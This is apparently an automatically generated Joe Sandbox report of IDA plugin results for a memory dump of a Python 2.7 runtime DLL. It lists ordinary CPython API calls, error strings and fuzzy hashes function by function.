Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: MallocObject_
String ID: h-l
API String ID: 3634026734-324548745
Opcode ID: 92ff1377ca3e8722df7e6cf16a2ced341243c6a34239ab1c52b0d2df597d2a55
Instruction ID: be8bc97490e1fcfc328b1004e3b5383d4d75acac30a200f04d1b981395aa14a9
Opcode Fuzzy Hash: 92ff1377ca3e8722df7e6cf16a2ced341243c6a34239ab1c52b0d2df597d2a55
Instruction Fuzzy Hash: 070184B22453449FE7005F59E454BD67BF8AB1636CF0581A6E8488FA93D376D104C7D1

Function 6C13EE50 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

PyString_FromString.PYTHON27(Invalid call to PyCObject_SetVoidPtr), ref: 6C13EE8A
PyErr_SetObject.PYTHON27(6C2E48B0,00000000,Invalid call to PyCObject_SetVoidPtr), ref: 6C13EE93

Strings

Invalid call to PyCObject_SetVoidPtr, xrefs: 6C13EE85

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_FromObjectStringString_
String ID: Invalid call to PyCObject_SetVoidPtr
API String ID: 1840871587-391560720
Opcode ID: 6beef4b412b03996ecbb76e86b1581174444d9a66f1e1c88046595cba7ca9c6f
Instruction ID: 2318212c845a02baa790efd1100a10839002ff15b73e0c908ed7c8be53de78a7
Opcode Fuzzy Hash: 6beef4b412b03996ecbb76e86b1581174444d9a66f1e1c88046595cba7ca9c6f
Instruction Fuzzy Hash: EEF0F4329052255BC720DA59A804AD673A4DF55278F0443B6EC3C97BC0EB30EE51C7D1

Function 6C0B8E40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

PyObject_Malloc.PYTHON27(00000016), ref: 6C0B8E5B
PyString_InternInPlace.PYTHON27(00000001), ref: 6C0B8EA8

Strings

h-l, xrefs: 6C0B8E75

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: InternMallocObject_PlaceString_
String ID: h-l
API String ID: 1224585087-324548745
Opcode ID: 48f2e0d36f3e2d458d3d4d4907440e0c1aa945db9dfe8fa2bfb448b0120a402d
Instruction ID: 8197ddcce487a2ae3f11f39761ba7a509709ba81cce2fb55b680a54caedd2a92
Opcode Fuzzy Hash: 48f2e0d36f3e2d458d3d4d4907440e0c1aa945db9dfe8fa2bfb448b0120a402d
Instruction Fuzzy Hash: 9001F1B15012548FD7009F19E000BA67FF49F12758F06829AEDA49FB62E372D100CBD0

Function 6C130470 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PyString_FromString.PYTHON27(buffer object expected), ref: 6C1304B1
PyErr_SetObject.PYTHON27(6C2E48B0,00000000,buffer object expected), ref: 6C1304BA

Strings

buffer object expected, xrefs: 6C1304AC

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_FromObjectStringString_
String ID: buffer object expected
API String ID: 1840871587-3871874642
Opcode ID: 519bcdc5fb376a4d9eb8df580e0555ba2f715ceb0668ce9ddde4924f0b2114f3
Instruction ID: 3e95ac079fe3c74d20d787eb8c44df4e7cdefc62364546e862f554098eeaabdc
Opcode Fuzzy Hash: 519bcdc5fb376a4d9eb8df580e0555ba2f715ceb0668ce9ddde4924f0b2114f3
Instruction Fuzzy Hash: 78F0DC366012649BE710CA54C844FAB33E4AF55238F258354EC688BB81E730EA82C7D2

Function 6C12EE00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PyObject_GetAttrString.PYTHON27(?,__getitem__), ref: 6C12EE1A
PyErr_Clear.PYTHON27 ref: 6C12EE3E

Strings

__getitem__, xrefs: 6C12EE14

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: AttrClearErr_Object_String
String ID: __getitem__
API String ID: 2543148516-3646536032
Opcode ID: d5f370f8410bb03e7ca749e6686053c41d140afa9f3afc2e50972822cac29587
Instruction ID: 664f5d0981ced49e91804886afc8a03de72e749690974bcee517f2c0bd8e8348
Opcode Fuzzy Hash: d5f370f8410bb03e7ca749e6686053c41d140afa9f3afc2e50972822cac29587
Instruction Fuzzy Hash: ECF0C2386022044FEB04CB71D841B7673A89F5031EF284668E81C8BE91D739EA81CAD0

Function 6C0B07C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39COMMON

Download Yara Rule

APIs

PyString_FromString.PYTHON27(memory was exhausted while profiling), ref: 6C0B07E5
PyErr_SetObject.PYTHON27(6C2E67A8,00000000,memory was exhausted while profiling), ref: 6C0B07EE

Strings

memory was exhausted while profiling, xrefs: 6C0B07E0

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_FromObjectStringString_
String ID: memory was exhausted while profiling
API String ID: 1840871587-1801820754
Opcode ID: 5765a0bef226081586350d0ab664881c44396c1263e6e5588e52f74dbe2878fd
Instruction ID: 7d704f8f5bc548fdca4279e89329081605d495a6f63603a8d9185b6543a3f642
Opcode Fuzzy Hash: 5765a0bef226081586350d0ab664881c44396c1263e6e5588e52f74dbe2878fd
Instruction Fuzzy Hash: 8FF0B47390691417C210D96DAD09AE737D8DB46238B140369EC78E77D0EB22D91687E2

Function 6C0AB520 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

PyObject_GetAttrString.PYTHON27(00000000,join), ref: 6C0AB543
PyObject_CallFunctionObjArgs.PYTHON27(?,?,00000000), ref: 6C0AB571

Strings

join, xrefs: 6C0AB53D

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Object_$ArgsAttrCallFunctionString
String ID: join
API String ID: 167733998-677501143
Opcode ID: 37e08bdf4687c6ea347ec9af27a3ed0b2560a20b0398c67c7e80629c8eda00a1
Instruction ID: e1d9b41b038ff06a6600cc3bfce9511bc38880630eb1f91cf547bf6842b0d264
Opcode Fuzzy Hash: 37e08bdf4687c6ea347ec9af27a3ed0b2560a20b0398c67c7e80629c8eda00a1
Instruction Fuzzy Hash: 38F0B472A0061A57CB00DAF9AD10B8673FC9B01769F148224E918C7B51E721D9118BD1

Function 6C12DF00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

PyObject_GetAttrString.PYTHON27(?,__getitem__), ref: 6C12DF1A
PyErr_Clear.PYTHON27 ref: 6C12DF3E

Strings

__getitem__, xrefs: 6C12DF14

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: AttrClearErr_Object_String
String ID: __getitem__
API String ID: 2543148516-3646536032
Opcode ID: 381ead474b9eed4f92eb13d035fd2b19ba611fc4bb183f738b98f00925b70732
Instruction ID: 7b7f8363b5bbec703207c18ca034e88bfb1bbc54abb42622fdbad104604cf3a1
Opcode Fuzzy Hash: 381ead474b9eed4f92eb13d035fd2b19ba611fc4bb183f738b98f00925b70732
Instruction Fuzzy Hash: 02F0BB756152444FEBA4AB61E840F5573B89F5032CF5946D8F81CCBE41D73DD893C644

Function 6C12CCA0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 6C12C430: PyType_IsSubtype.PYTHON27(00000000,?,?,?,?,?,?,6C12CA14,?,?,00000040), ref: 6C12C48B

PyErr_Format.PYTHON27(6C2E48B0,unsupported operand type(s) for %.100s: '%.100s' and '%.100s',divmod(),?,?), ref: 6C12CCEE

Strings

divmod(), xrefs: 6C12CCE3
unsupported operand type(s) for %.100s: '%.100s' and '%.100s', xrefs: 6C12CCE8

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_FormatSubtypeType_
String ID: divmod()$unsupported operand type(s) for %.100s: '%.100s' and '%.100s'
API String ID: 2789853835-4006302392
Opcode ID: ba0bae24b5ddb7dc426b508debee1a8502c9ba64f0fc83683acf392ab742bde2
Instruction ID: 13ffb3c9fbed438b618f6b9ddee65edebe411eb590b06bd7516df87e65480cab
Opcode Fuzzy Hash: ba0bae24b5ddb7dc426b508debee1a8502c9ba64f0fc83683acf392ab742bde2
Instruction Fuzzy Hash: B8F024BAA001046BD700EB59EC40C97B3A8EF99334B158714FE198BB41C635FC11CBE5

Function 6C12CD80 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

PyNumber_AsSsize_t.PYTHON27(?,6C2E63F8), ref: 6C12CDA6

Part of subcall function 6C12D720: PyNumber_Index.PYTHON27(?,?,?,?,6C12B2E8,6C12EF3A,6C2E5B38), ref: 6C12D729

PyErr_Format.PYTHON27(6C2E48B0,can't multiply sequence by non-int of type '%.200s',?,?,6C12CE69,?,?), ref: 6C12CDDC

Strings

can't multiply sequence by non-int of type '%.200s', xrefs: 6C12CDD6

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Number_$Err_FormatIndexSsize_t
String ID: can't multiply sequence by non-int of type '%.200s'
API String ID: 939530772-2793022148
Opcode ID: facaf08de224bb7e998a1f351d93120b61bb91fd406e85e951b08cd3c7073aa2
Instruction ID: 4c8b5491ad64458dfbe1d83e59bbacdb49b4db2e7a408947798b4d6582189a8b
Opcode Fuzzy Hash: facaf08de224bb7e998a1f351d93120b61bb91fd406e85e951b08cd3c7073aa2
Instruction Fuzzy Hash: 17F0F679600209AFEB00DB60DC84B6537BDAB5431CF248658FE1C8B6C2D73AE8D5DB90

Function 6C0A6090 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Py_BuildValue.PYTHON27((O)), ref: 6C0A60A4
PyObject_Call.PYTHON27(6C30E5E8,00000000,?), ref: 6C0A60C0

Part of subcall function 6C12F070: _Py_CheckRecursiveCall.PYTHON27( while calling a Python object,00000001,?,?,6C1B2AB3,00000000,?,6C100E50), ref: 6C12F0A5
Part of subcall function 6C12F070: PyErr_SetString.PYTHON27(6C2E65C8,NULL result without error in PyObject_Call,?,00000000,00000000), ref: 6C12F0E4

Strings

(O), xrefs: 6C0A6093, 6C0A60A3

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Call$BuildCheckErr_Object_RecursiveStringValue
String ID: (O)
API String ID: 705347834-4232840684
Opcode ID: daa1c06f9f8bf61cb0e70d37915506caff67cc57f6f19b838708bf9f658a1a50
Instruction ID: c8964180a8f2adbe6a34667809bf31d658248b411dcffc6d586b18b142ddca30
Opcode Fuzzy Hash: daa1c06f9f8bf61cb0e70d37915506caff67cc57f6f19b838708bf9f658a1a50
Instruction Fuzzy Hash: 74F082B670061517862456DB6C01D9B77E98A816B97180764F948CBB01E615ED4782E1

Function 6C139710 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\cellobject.c,00000024), ref: 6C139734

Strings

%s:%d: bad argument to internal function, xrefs: 6C13972E
..\Objects\cellobject.c, xrefs: 6C139729

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_Format
String ID: %s:%d: bad argument to internal function$..\Objects\cellobject.c
API String ID: 376477240-3279096532
Opcode ID: 85e5180bb65082614e3a9c6589b3ed39ba7a0f2e9eee89bd8073eab0c304cc8e
Instruction ID: 9bfe4f9e55da5cde12c9ddc8efed8236e5a7fbbaa5f4ef8de6d3d110fa290248
Opcode Fuzzy Hash: 85e5180bb65082614e3a9c6589b3ed39ba7a0f2e9eee89bd8073eab0c304cc8e
Instruction Fuzzy Hash: 1DF06D75A012058BD7009E68DC59A65B368EB1523CF248799AC2C9BAD2DA31D851CAC1

Function 6C0B95C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

PyFloat_AsDouble.PYTHON27(?), ref: 6C0B95CD

Part of subcall function 6C150B70: PyType_IsSubtype.PYTHON27(04C48318,?,?,00000000,?,6C140CAA,?,?,?,?), ref: 6C150B90

PyErr_SetString.PYTHON27(00000000,required argument is not a float), ref: 6C0B9600

Strings

required argument is not a float, xrefs: 6C0B95FA

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: DoubleErr_Float_StringSubtypeType_
String ID: required argument is not a float
API String ID: 4162100309-2628405891
Opcode ID: b09398fa79c5afe4170fe3405a3d7858c72ef4d0f92aa44121d2a5abf5012871
Instruction ID: bb9d330f978e82375dc508021257377ac66bd670d69533ff09912b55e983eb53
Opcode Fuzzy Hash: b09398fa79c5afe4170fe3405a3d7858c72ef4d0f92aa44121d2a5abf5012871
Instruction Fuzzy Hash: A8F0B479A141049BCB00EF68DD85B5A37F9AB86328F108798EE6C477D0D732D924DB86

Function 6C1CED90 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

PyString_FromString.PYTHON27(xvl,?,?,6C0A7678,00000000,__version__,1.0), ref: 6C1CED98
PyModule_AddObject.PYTHON27(?,?,00000000,1.0), ref: 6C1CEDAF

Part of subcall function 6C1CEC70: PyType_IsSubtype.PYTHON27(?,?,?,?,6C0A57F9,00000000,deque,6C30FF60), ref: 6C1CEC87
Part of subcall function 6C1CEC70: PyErr_SetString.PYTHON27(6C2E48B0,PyModule_AddObject() needs module as first arg,deque,6C30FF60), ref: 6C1CEC9E

Strings

xvl, xrefs: 6C1CED93, 6C1CED97

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: String$Err_FromModule_ObjectString_SubtypeType_
String ID: xvl
API String ID: 1427223329-1633191540
Opcode ID: b56b51181ce3fdffc0a942880ae74e1c5f0134ad9330f5c536b40617f3269e56
Instruction ID: 70356dc438bbdb1e37fed5577eb3efa60928488e4292aae9c66941efdd6050e0
Opcode Fuzzy Hash: b56b51181ce3fdffc0a942880ae74e1c5f0134ad9330f5c536b40617f3269e56
Instruction Fuzzy Hash: A0F0E532A4021417C6109EA5AC079E733989E203B8B044724FD2C4BB80E638EA1183D2

Function 6C12B0D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON27(6C2E65C8,null argument to internal routine), ref: 6C12B0F0
PyMapping_Size.PYTHON27(?), ref: 6C12B116

Part of subcall function 6C12EE70: PyErr_SetString.PYTHON27(6C2E65C8,null argument to internal routine,?,6C12B11B,?), ref: 6C12EE90

Strings

null argument to internal routine, xrefs: 6C12B0EA

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_String$Mapping_Size
String ID: null argument to internal routine
API String ID: 3862615131-2212441169
Opcode ID: 383b9577fa0ca10f3a21ce253d0b57d2536c56e3693bcde24ff2a6c9f03efad6
Instruction ID: 3bee2badd6863bffd1d429275d3717d2ab035effd6e11d1c62429eea4ba4477b
Opcode Fuzzy Hash: 383b9577fa0ca10f3a21ce253d0b57d2536c56e3693bcde24ff2a6c9f03efad6
Instruction Fuzzy Hash: A7F0E57871020597DB08CB6AFD40D5633A95B4222C718076CF82D8BB81EB3BE8D0CA94

Function 6C167170 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

PyObject_GetAttrString.PYTHON27(6C12F42C,__call__,?,6C12F42C,00000000), ref: 6C16718B
PyErr_Clear.PYTHON27(6C12F42C,00000000), ref: 6C167197

Strings

__call__, xrefs: 6C167185

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: AttrClearErr_Object_String
String ID: __call__
API String ID: 2543148516-3762418517
